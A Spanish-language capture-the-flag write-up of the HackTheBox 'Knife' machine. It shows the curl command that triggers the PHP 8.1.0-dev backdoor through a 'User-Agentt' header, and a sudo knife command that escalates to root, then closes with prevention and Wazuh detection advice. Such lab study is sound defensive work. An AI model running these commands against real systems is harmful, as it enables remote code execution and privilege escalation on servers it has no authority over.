Knife — PHP 8.1.0-dev Backdoor RCE
Explotación del backdoor plantado en PHP 8.1.0-dev via header HTTP. Escalada de privilegios con binary knife (GTFOBins). Mitigación: patch management y no exponer versiones en headers.
easy HackTheBox Linux 2025-05-10
RCEGTFOBinsPHPPrivesc
Reconocimiento
Inicio con un escaneo de puertos completo:
nmap -sC -sV -oN knife.nmap 10.10.10.242 Resultado: puerto 22 (SSH) y 80 (HTTP Apache). Al inspeccionar los headers de respuesta del servidor web noto la versión de PHP:
X-Powered-By: PHP/8.1.0-dev Explotación
La versión PHP/8.1.0-dev fue comprometida en su repositorio oficial en 2021. El backdoor se activa enviando código PHP arbitrario en el header User-Agentt (doble t):
curl -s http://10.10.10.242/ \
-H 'User-Agentt: zerodiumsystem("id");'
# uid=1000(james) gid=1000(james) Obtengo reverse shell completa con netcat listener en el puerto 4444.
Escalada de Privilegios
sudo -l
# (root) NOPASSWD: /usr/bin/knife El binario knife (Chef Infrastructure) permite ejecutar scripts Ruby. GTFOBins al rescate:
sudo knife exec -E 'exec "/bin/bash"'
# root@knife:~# Mitigación — Perspectiva Blue Team
¿Cómo se habría detectado y prevenido?
Prevención:
- Deshabilitar
expose_php = Offen php.ini — no revelar versiones en headers HTTP - Patch management automatizado con alertas de CVE críticos (Wazuh + RSS feeds)
- Verificación de integridad de código fuente con firma GPG para dependencias
Detección con Wazuh:
- Regla de alerta para header HTTP
User-Agenttcon doble t en logs de Apache - Monitorear ejecuciones de shell (
bash,sh) como proceso hijo deapache2 - Alertar sobre cualquier ejecución de
sudo knifepor usuario no-root